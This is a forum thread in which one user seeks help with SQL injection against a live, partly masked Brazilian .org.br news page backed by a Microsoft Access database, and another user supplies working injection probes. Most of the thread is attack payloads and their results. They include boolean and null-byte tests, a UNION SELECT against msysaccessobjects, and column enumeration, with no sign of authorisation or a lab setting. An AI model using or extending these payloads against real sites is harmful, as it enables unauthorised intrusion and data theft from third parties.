Hi again guys..
When I try this:

Code:
http://www.*****.org.br/le***noticias.asp?id=1316 or 1=convert(int, @@version)


I obtain this:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in expression or 1 etc...

even if I try other operators (and, union etc..)

What's wrong?
Thank u in advance

First task is always to get syntax right.
Try these tests:

Code:

noticias.asp?id=1316+AND+1=1


Code:

noticias.asp?id=1316%00


Code:

noticias.asp?id=1315%2b1


Code:

noticias.asp?id=1316)%00


And can you provoke error messages, which reveal details of affected query?

No, UNION is usually supported by Jet database.
Try this:

Code:

noticias.asp?id=-1 UNION SELECT 1 FROM msysaccessobjects%00

[/quote]

ok:
Code:


http://www.*****.org.br/le*****noticias.asp?id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9 FROM msysaccessobjects%00


column affected is 4.
But @@version doesn't work... maybe I don't know Access (I work with MySQL, MSSQL and Oracle) and google doesn't help me...
